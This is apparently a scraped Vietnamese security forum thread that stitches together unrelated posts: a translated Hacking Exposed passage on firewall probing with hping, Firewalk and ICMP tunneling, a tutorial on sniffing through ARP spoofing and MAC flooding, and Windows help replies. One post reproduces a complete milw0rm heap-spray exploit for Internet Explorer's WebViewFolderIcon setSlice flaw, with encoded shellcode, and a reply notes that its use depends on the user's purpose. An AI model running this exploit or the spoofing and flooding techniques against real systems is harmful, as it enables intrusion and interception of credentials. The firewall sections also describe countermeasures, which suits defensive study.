hping của Salvatore Sanfilippo, làm việc bằng cách gửi các gói tin TCP đến một cổng đích và báo cáo các gói tin mà nó nhận trở lại. hping trả về nhiều đáp ứng khác nhau tùy theo v số điều kiện. Mỗi gói tin từng phần và toàn thể có thể cung cấp một bức tranh khá rõ về các kiểu kiểm soát truy cập của bức tường lửa. Ví dụ, khi dùng hping ta có thể phát hlện các gói tin mở, bị phong tỏa, thả, và loại bỏ.
Trong ví dụ sau đây, hping báo cáo cổng 80 đang mở và sẵn sàng nhận một tuyến nối. Ta biết điều này bởi nó đã nhận một gói tin với cờ SA đợc ấn định (một gói tin SYN/ACK).
Code:
# hping www.yourcompany.com -c2 – S -p80 -n
HPING www.yourcomapany.com ( eth0 172.30.1.2 0 ) : S set, 40 data bytes 60 bytes from 172.30.1.20 : flags=SA seq=0 ttl=242 id= 65121 win= 64240 time=144.4 ms
Giờ đây ta biết có một cống mở thông đến đích, nhưng chưa biết nơi của bức tường lửa. Trong ví dụ kế tiếp, hping báo cáo nhận một ICMP unreachable type 13 từ 192.168.70.2. Một ICMP type 13 là một gói tin lọc bị ICMP admin ngăn cấm, thờng đợc gửi từ một bộ định tuyến lọc gói tin.
Code:
# hping www.yourcompany.com -c2 –S -p23 -n
HPING www.yourcompany.com ( eth0 172.30.1.20 ) : S set, 40 data bytes ICMP Unreachable type 13 f rom 192.168.70.2
Giờ đây nó đợc xác nhận, 192.168.70.2 ắt hẳn là bức tường lửa, và ta biết nó đang phong tỏa cổng 23 đến đích của chúng ta. Nói cách khác, nếu hệ thống là một bộ định tuyến Cisco nó ắt có một dòng như dưới đây trong tập tin config:
Code:
access -list 101 deny tcp any any 23 ! telnet
Trong ví dụ kế tiếp, ta nhận đợc một gói tin RST/ACK trả lại báo hiệu một trong hai viêc:
(1) gói tin lọt qua bức tường lửa và server không lắng chờ cổng đó
(2) bức tường lửa thải bỏ gói tin (như trường hợp của quy tắc reject của Check Point).
Code:
# hping 192.168.50.3 -c2 -S -p22 -n
HPING 192.168.50.3 ( eth0 192.168.50.3 ) : S set, 40 data bytes 60 bytes from 192.168.50.3 : flags=RA seq= 0 ttl= 59 id= 0 win= 0 time=0.3 ms
Do đã nhận gói tin ICMP type 13 trên đây, nên ta có thể suy ra bức tường lửa ( 192.168.70.2) đang cho phép gói tin đi qua bức tường lửa, nhưng server không lắng chờ trên cổng đó. Nếu bức tường lửa mà bạn đang quét qua là Check point, hping sẽ báo cáo địa chỉ IP nguồn của đích, nhưng gói tin thực sự đang đợc gửi từ NIC bên ngoài của bức tường lửa Check Point. Ðiểm rắc rối về Check Point đó là nó sẽ đáp ứng các hệ thống bên trong của nó , gửi một đáp ứng và lừa bịp địa chỉ của đích. Tuy nhiên, khi attacker đụng một trong các điều kiện này trên Internet, chúng không hề
biết sự khác biệt bởi địa chỉ MAC sẽ không bao giờ chạm máy của chúng. Cuối cùng, khi một bức tường lửa đang phong toả các gói tin đến một cổng, bạn thờng không nhận đợc gì trở lại.
Code:
[ root@bldg_04 3 /opt ] # hping 192.168.50.3 -c2 -S -p2 2 -n
HPING 192.168.50.3 ( eth0 192.168.50.3 ) : S set, 40 data
Kỹ thuật hping này có thể có hai ý nghĩa: (1) gói tin không thể đạt đến đích và đã bị mất trên đường truyền, hoặc (2) có nhiều khả năng hơn, một thiết bị (ắt là bức tường lửa của chúng ta 192.168.70.2 ) đã bỏ gói tin trên sàn dới dạng một phần các quy tắc ACL của nó.
Biện Pháp Phòng Chống
Ngăn ngừa một cuộc tấn công hping không phải là dễ . Tốt nhất, ta chỉ việc phong tỏa các thông điệp ICMP type 13 ( nh m tả trong đoạn phòng chống tiến trình quét nmap trên đây ).
2. Firewalk
Firewalk là một công cụ nhỏ tiện dụng, nh một bộ quét cổng, đợc dùng để phát hiện các cổng mở đàng sau một bức tường lửa. Ðợc viết bởi Mike Schiffnlan, còn gọi là Route và Dave Goldsmith, trình tiện ích này sẽ quét một server xua dòng từ một bức tường lửa và báo cáo trở lại các quy tắc đợc phép đến server đó mà không phải thực tế chạm đến hệ đích. Firewalk làm việc bằng cách kiến tạo các gói tin với một IP TTL đợc tính toán để kết thúc một chãng vợt quá bức tường lửa. Về lý thuyết, nếu gói tin đợc bức tường lửa cho phép, nó sẽ đợc phép đi qua và sẽ kết thúc nh dự kiến, suy ra một thông điệp "ICMP TTL expired in transit." Mặt khác, nếu gói tin bị ACL của bức tường lửa phong tỏa, nó sẽ bị thả, và hoặc không có đáp ứng nào sẽ đợc gửi, hoặc một gói tin lọc bị ICMP type 13 admin ngăn cấm sẽ đợc gửi.
Code:
# firewalk -pTCP -S135 -140 10.22.3.1 192.168.1.1
Ramping up hopcounts to binding host . . .
probe : 1 TTL : 1 port 33434 : expired from [exposed.acme.com]
probe : 2 TTL : 2 port 33434 : expired from [rtr.isp.net]
probe : 3 TTL : 3 port 33434 : Bound scan at 3 hops [rtr.isp.net]
port open
port 136 : open
port 137 : open
port 138 : open
port 139 : *
port 140 : open
Sự cố duy nhất mà chúng ta gặp khi dùng Firewalk đó là nó có thể ít hơn dự đoán, vì một số bức tường lửa sẽ phát hiện gói tin hết hạn trước khi kiểm tra các ACL của nó và cứ thế gửi trả một gói tin ICMP TTL EXPI#800000. Kết quả là, Firewalk mặc nhận tất cả các cổng đều mở.
Biện Pháp Phòng Chống
Bạn có thể phong tỏa các gói tin ICMP TTL EXPI#800000 tại cấp giao diện bên ngoài, nhưng điều này có thể tác động tiêu cực đến khả năng vận hành của nó, vì các clien hợp pháp đang nối sẽ không bao giờ biết điều gì đã xảy ra với tuyến nối của chúng.
IV. Lọc gói tin
Các bức tường lửa lọc gói tin nh Firewall-1 của Check Point, Cisco PIX, và IOS của Cisco (vâng, Cisco IOS có thể đợc xác lập dới dạng một bức tường lửa) tùy thuộc vào các ACL (danh sách kiểm soát truy cập) hoặc các quy tắc để xác định xem luồng traffic có đợc cấp quyền để truyền vào/ra mạng bên trong. Ða phần, các ACL này đợc sắp đặt kỹ và khó khắc phục. Nhưng thông thờng, bạn tình cờ gặp một bức tường lửa có các ACL tự do, cho phép vài gói tin đi qua ở tình trạng mở. .
Các ACL Tự Do
Các danh sách kiểm soát truy cập (ACL) tự do thờng gặp trên các bức tường lửa nhiều hơn ta tưởng. Hãy xét trờng hợp ở đó có thể một tổ chức phải cho phép ISP thực hiện các đợt chuyển giao miền. Một ACL tự do nh "Cho phép tất cả mọi hoạt động từ cổng nguồn 53" có thể đợc sử dụng thay vì cho phép hoạt động từ serverDNS của ISP với cổng nguồn 53 và cổng đích 53." Nguy cơ tồn tại các cấu hình sai này có thể gây tàn phá thực sự, cho phép một hắc cơ quét nguyên cả mạng từ bên ngoài. Hầu hết các cuộc tấn công này đều bắt đầu bằng một kẻ tấn công tiến hành quét một server đằng sau bức tường lửa và đánh lừa nguồn của nó dới dạng cống 53 (DNS).
Biện Pháp Phòng Chống
Bảo đảm các quy tắc bức tường lửa giới hạn ai có thể nối ở đâu. Ví dụ, nếu ISP yêu cầu khả năng chuyển giao miền, thì bạn phải rõ ràng về các quy tắc của mình. Hãy yêu cầu một địa chỉ IP nguồn và mã hóa cứng địa chỉ IP đích (serverDNS bên trong của bạn) theo quy tắc mà bạn nghĩ ra. Nếu đang dùng một bức tường lửa Checkpoint, bạn có thể dùng quy tắc sau đây để hạn chế một cổng nguồn 53 (DNS) chỉ đến DNS của ISP. Ví dụ, nếu DNS của ISP là 192.168.66.2 và DNS bên trong của bạn là 172.30.140.1, bạn có thể dùng quy tắc dới đây:
Nguồn gốc Ðích Dịch vụ Hành động Dấu vết
192.168.66.2 172.30. 140.1 domain-tcp Accept Short
V. Tunneling ICMP và UDP
Tunneling ICMP là khả năng đóng khung dữ liệu thực trong một phần đầu ICMP.
Nhiều bộ định tuyến và bức tường lửa cho phép ICMP ECHO, ICMP ECHO REPLY, và các gói tin UDP mù quáng đi qua, và như vậy sẽ dễ bị tổn thơng trước kiểu tấn công này. Cũng như chỗ yếu Checkpoint DNS, cuộc tấn công Tunneling ICMP và UDP dựa trên một hệ thống đã bị xâm phạm đứng sau bức tường lửa.
Jeremy Rauch và Mike D. Shiffman áp dụng khái niệm Tunneling vào thực tế và đã tạo các công cụ để khai thác nó : loki và lokid (clien và server) -xem
http://www.phrack.com/search.phtml?view&article=p49-6.
Nếu chạy công cụ serverlokid trên một hệ thống đứng sau bức tường lửa cho phép ICMP ECHO và ECHO REPLY, bạn cho phép attacker chạy công cụ clien (loki), đóng khung mọi lệnh gửi đi trong các gói tin ICMP ECHO đến server(lokid). công cụ lokid sẽ tháo các lệnh, chạy các lệnh cục bộ , và đóng khung kết xuất của các lệnh trong các gói tin ICMP ECHO REPLY trả lại cho bọn tấn công. Dùng kỹ thuật này, attacker có thể hoàn toàn bỏ qua bức tường lửa.
Biện Pháp Phòng Chống
Ðể ngăn cản kiểu tấn công này, bạn v hiệu hóa khả năng truy cập ICMP thông qua bức tường lừa hoặc cung cấp khả năng truy cập kiểm soát chi tiết trên luồng lu thông ICMP. Ví dụ, Cisco ACL dới đây sẽ v hiệu hóa toàn bộ luồng lu thông ICMP phía ngoài mạng con 172.29.10.0 (DMZ) vì các mục tiêu điều hành:
Code:
access - list 101 permit icmp any 172.29.10.0 0.255.255.255 8 ! echo
access - list 101 permit icmp any 172.29.10.0 0.255.255.255 0 ! echo- reply
access - list 102 deny ip any any log ! deny and log all else
Cảnh giác: nếu ISP theo dõí thời gian hoạt động của hệ thống bạn đằng sau bức tường lửa của bạn với các ping ICMP (hoàn toàn không nên!), thì các ACL này sẽ phá vỡ chức năng trọng yếu của chúng. Hãy liên hệ với ISP để khám phá xem họ có dùng các ping ICMP để kiểm chứng trên các hệ thống của bạn hay không.
Tóm Tắt
Trong thực tế một bức tường lửa đợc cấu hình kỹ có thể cũng khó vợt qua. Nhưng dùng các công cụ thu thập thông tin như traceroute, hping, và nmap, attacker có thể phát hiện (hoặc chí ít suy ra) các lộ trình truy cập thông qua bộ định tuyến và bức tường lửa cũng như kiểu bức tường lửa mà bạn đang dùng. Nhiều chỗ yếu hiện hành là do cấu hình sai trong bức tường lửa hoặc thiếu sự giám sát cấp điều hành, nhưng dẫu thế nào, kết quả có thể dẫn đến một cuộc tấn công đại họa nếu được khai thác. Một số điểm yếu cụ thể tồn tại trong các hệ uỷ nhiệm lẫn các bức tường lửa lọc gói tin, bao gồm các kiểu đăng nhập web, telnet, và localhost không thẩm định quyền. Ða phần, có thể áp dụng các biện pháp phòng chống cụ thể để ngăn cấm khai thác chỗ yếu này, và trong vài trờng hợp chỉ có thể đúng kỹ thuật phát hiện. Nhiều người tin rằng tương lai tất yếu của các bức tường lửa sẽ là một dạng lai ghép giữa uỷ nhiệm ứng dụng và công nghệ lọc gói tin hữu trạng [stateful] sẽ cung cấp vài kỹ thuật để hạn chế khả năng cấu hình sai. Các tính năng phản ứng cũng sẽ là một phần của bức tường lửa thế hệ kế tiếp. NAI đã thực thi một dạng như vậy với kiến trúc Active Security. Nhờ đó, ngay khi phát hiện cuộc xâm phạm, các thay đổi đã đợc thiết kế sẵn sẽ tự động khởi phát và áp dụng cho bức tường lửa bị ảnh hưởng. Ví dụ, nếu một IDS có thể phát hiện tiến trình Tunneling ICMP, sản phẩm có thể hướng bức tường lửa đóng các yêu cầu ICMP ECHO vào trong bức tường lửa. Bối cảnh như vậy luân là cơ hội cho một cuộc tấn công DDoS; đó là lý do tại sao luân cần có mặt các nhân viên bảo mật kinh nghiệm.
-------------------------------------------------------------------------------------------------------------------
Theo: Hacking exposed
Sửa/Xóa nội dung
|
|
|
LeVuHoang wrote:
Theo Hoàng nghĩ thì cách lợi dụng lỗi của ứng dụng/dịch vụ để chèn shellcode vào không được gọi là inject code. Vì rõ ràng mình đâu có... inject vô ứng dụng mà bắt ứng dụng thực thi đoạn shell code của mình. Nhưng... hiểu thế nào thì hiểu, tuỳ quan điểm mỗi người
Em cũng nghĩ vậy,attacker lợi dụng bug bof để modify EIP register poiter đến shellcode,có inject hay insert quái gì đâu.
Còn bạn loyal hỏi vậy chắc giống với kĩ thuật lây lan của VR đây mà
|
|
|
Wellcome HVA come back again! )
=========================================
Hôm nay mình giới thiệu với các bạn một kĩ thuật hacking cơ bản đó là sniff.(có nhiều bạn chưa biết cái này - ai biết rồi thì đừng chê nha)
Nói đến Sniff nhiều người nghĩ ngay đến ethereal hay tcpdump (hoặc đơn giản chỉ là một công cụ nào đó cho phép ta làm việc tương tự).Nhưng theo tôi Sniff là một kĩ thuật được hiện thực bằng các công cụ cho phép ta theo dõi network traffic của một mạng máy tính và lấy đi nhưng thông tin quan trọng.Những thông tin này thường là nhưng thông tin chứng thực(username,password) mà từ đó có thể truy cập đến một hệ thống,tài nguyên nào đó (ví dụ như tài khoản ngân hàng trực tuyến ).
Hiện nay có rất nhiều công cụ giúp ta làm việc này như: ettercap,dsniff,wireshark(ethereal),tcpdump...
Như các bạn đã biết một máy tính khi connect vào mạng LAN sẽ có 2 address là : IP address và MAC address. Khi một IP datagram được gửi đi từ trạm này sang trạm khác trong cùng một mạng LAN,IP address của trạm đích phải được chuyển đổi sang MAC address. Giao thức ARP sẽ giúp ta làm việc này.
Giao thức ARP sử dụng 32 bit IP address ở trong 48 bit ethernet address.Công việc của nó là gửi các broadcast request đến tất cả các máy trong cùng ethernet.Một packer request sẽ có IP address của sender muốn liên lạc,
Một frame của ARP request có nội dung như sau:
Code:
01:20:14.833350 arp who-has 192.168.0.66 tell 192.168.0.62
và tất cả các máy trong mạng sẽ bỏ qua packet này chỉ máy tính nào có IP address trùng với IP address trong request thì nó sẽ reply lại cho sender một packet cùng với ethernet address:
Code:
01:20:14.833421 arp reply 192.168.0.66 is-at 0:0:d1:1f:3f:f1
Ngày trước những máy tính được nối với nhau thông qua môi trường dùng chung (Tức là dùng HUB đó ).Trong mạng dùng HUB Traffic sẽ đến tất cả các máy trong network. Đây là một điều không an toàn,với traffic đến toàn bộ các máy trong mạng chúng ta sẽ dễ dàng sniffing mà lấy đi những thứ quan trọng.
Ngày nay những máy tính được nối với nhau bởi Switch,Switch thông minh hơn Hub, traffic sẽ không đên tất cả các máy tính nữa mà nó sẽ đến nơi cần đến là đủ. Điều đó Kéo theo những chúng ta cũng phải thay đổi đôi chút trong việc tấn công,phải có một sự dàn dựng tốt hơn.
1.ARP Spoofing
Vì bản thân ARP request đã chứa địa chỉ vật lý của sender trong Ethernet frame nên receiver nhận được ARP request này hoàn toàn có thể trả lời cho sender mà không cần phải tạo một ARP request nữa. Tuy nhiên, điểm yếu lớn nhất của giao thức ARP là ở chỗ nó là một stateless protocol, có nghĩa là nó sẽ không theo dõi các frame trả lời cho các request mà nó đã gửi, và vì thế sẽ chấp nhận các ARP reply mà trước đó không có request.
Nếu một kẻ nào đó muốn lấy cắp thông tin từ một trạm khác, attacker sẽ gửi các ARP reply giả mạo phù hợp một địa chỉ IP nào đó đã chọn trước với địa chỉ MAC của chúng. Trạm nhận được các ARP reply giả mạo này không thể phân biệt được nó là ARP reply hợp lệ hay không, và bắt đầu gửi dữ liệu tới địa chỉ MAC của attacker.
Một điểm yếu nữa của giao thức ARP đó là bảng thông tin ARP được lưu trữ cục bộ tại mỗi trạm trong một mạng. Điều này nhằm mục đích tăng tốc độ truyền dữ liệu bởi vì địa chỉ MAC sẽ không cần phải kiểm tra mỗi lần một thiết bị này muốn liên lạc với một thiết bị khác. Một kẻ tấn công muốn tiếp tục giả mạo một địa chỉ IP nào đó, nó cần phải Flood trạm đó với các ARP reply ghi đè lên các ARP hợp lệ từ trạm nguồn. Kiểu tấn công này thường được biết đến với cái tên ARP cache poisoning.
Có nhiều tool sử dụng kỹ thuật này để Sniff thông tin trên các mạng dùng switch như Ettercap. Tham khảo tại: http://ettercap.sourceforge.net/
arpoison tham khảo tại : http://arpoison.sourceforge.net/
Trên windows tham khảo: WinARP Spoofer tại http://www.nextsecurity.net
hì còn nhiều lắm mà chỉ cần vài cái đó là đủ sài rồi
Để chặn luồng thông tin giữa 2 trạm A và B, trạm C sẽ đầu độc (poison) ARP cache của trạm A, làm cho nó nhầm tưởng là địa chỉ IP của trạm B giống với địa chỉ MAC của trạm C (chứ không phải là địa chỉ MAC của B). Sau đó C sẽ poison bộ cache của B, làm cho nó nhầm tưởng địa chỉ IP của trạm A tương ứng với địa chỉ MAC của C (chứ không phải địa chỉ MAC của A).
2.MAC Flooding
Như bạn đã biết Switch thông minh hơn HUB là ở chỗ: Khi một packet được gửi từ máy A sang máy B thì thay vì gửi đi đến tất cả các máy trong mạng như Hub,switch chỉ gửi packet đó đến máy B mà thôi.Làm được việc này là do switch dựa vào một bảng dịch (bảng này sẽ qui đinh một địa chỉ MAC sẽ được truyền trên một công vật lý của switch) . Thế nhưng Switch chỉ cung cấp 1 bộ nhớ có hạn cho việc này,đây chính là điểm yếu để ta khai thác, nếu ta gửi liên tiếp các địa chỉ MAC giả mạo đến cho Switch và với bộ nhớ có hạn đó điều gì sẽ xẩy ra.Một công cụ tốt để làm việc này là: macof (một tools trong bộ công cụ dsniff)
[root@localhost]# macof
77:6b:e1:6e:5e:8c 93:2d:ed:45:f9:e3 0.0.0.0.45702 > 0.0.0.0.11000: S 1847390231:1847390231(0) win 512 84:a4:d3:57:ef:8 12:56:52:42:dc:95 0.0.0.0.16630 > 0.0.0.0.3031: S 1484147693:1484147693(0) win 512 88:f0:9:3f:18:89 d:86:53:53:d7:f8 0.0.0.0.15535 > 0.0.0.0.7466: S 293820390:293820390(0) win 512
Trong khi chúng ta chạy macof thì cái switch cũng như cái hub mà thôi Lúc này chúng ta dễ dàng sniff trong mạng đó.
------------------------------------
zeno
|
|
|
hieuhoc wrote:
Với đoạn trên thì đâu có khai thác được gì.
Đó chỉ là demo về bug mới của IE
Khai thác được hay không thì tùy vào mục đích & trình độ của người sử dụng
)
|
|
|
Code:
<!--
..::[ jamikazu presents ]::..
Microsoft Internet Explorer WebViewFolderIcon (setSlice) Exploit (0day)
Works on all Windows XP versions including SP2
Author: jamikazu
Mail: <a href="mailto:jamikazu@gmail.com">jamikazu@gmail.com</a>
Bug discovered by Computer H D Moore (http://www.metasploit.com)
Credit: metasploit, SkyLined
invokes calc.exe if successful
-->
<HTML>
<BODY>
<SCRIPT language="javascript">
var heapSprayToAddress = 0x05050505;
var payLoadCode = unescape(
"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" +
"%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" +
"%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304" +
"%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0" +
"%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A" +
"%uFF57%u63E7%u6C61%u0063");
var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0505%u0505");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
for ( i = 0 ; i < 128 ; i++)
{
try{
var tar = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505 );
}catch(e){}
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
</SCRIPT>
</BODY>
</HTML>
# milw0rm.com [2006-09-28]
|
|
|
redhorse wrote:
máy đang dùng, tự động restart khi khởi động lại xong vào msconfig thấy có 1 cái dumprep trong phần tự động khởi đông, nó là gì vậy ???
dumprep là một bộ phận của windows XP,nó khi lại lỗi của các phần mềm và thông báo cho M$ khi thấy lỗi đó nghiêm trọng.(Thường chỉ xuất hiện khi trên hệ thống có lỗi nghiêm trọng).Thực ra thì nó cũng chẳng quan trong gì lắm đối với hệ thông của chúng ta.Nói chung là thấy nó thì tốt nhất là remove trong startup đi là xong.
|
|
|
Bruce_Do wrote:
- Mình đang dùng Window Sever 2000 trong một hệ thống LAN, mặc định Window 2000 share tất cả các ổ đĩa (kể cả ổ đĩa C). Người khác trong mạng chỉ cần nhập vào C$(hoặc D$) là có thể thâm nhập vào máy của mình.
- Nếu muốn bỏ những share đó đi, hằng ngày mình phải vào Manager( Right Click tại My Computer) trong phần Share để bỏ hết những cái share mặc định đó.
- Nhưng đây chỉ là giải pháp tạm thời, vì khi khởi động máy lại, mọi thứ vẫn như cũ. Nghĩa là nó vẫn tiếp tục Share tất cả các ổ đĩa.
- Có cách nào để bỏ toàn bộ những share đó hay không?
- Mình chỉ muốn người trong mạng LAN chỉ vào được những thư mục mà mình share mà thôi.
hi!
Để ko phải ngay nào cũng làm thủ công như bạn nói bạn có thể tạo một file .bat đơn giản với các lệnh net share như sau:
Code:
net share ADMIN$ /delete /y
net share D$ /delete /y
net share C$ /delete /y
Rồi cho file này autorun mỗi khi khởi động máy là xong
Để cho nó autorun có thê tạo key trong registry...
PS:Tìm hiểu thêm về lệnh net share bạn có thể vào cmd rồi gõ :
Code:
|
|
|
hi,chào bạn!
Ban Mua thêm 1 cai card mạng nữa,1 PC dùng 2 card theo mô hình sau:
PC1 ---- PC2 (2 card) ----- Modem
chúc thành công!
|
|
|
Solution:
http://www.securityfocus.com/bid/19409/solution
|
|
|
|
|
|
|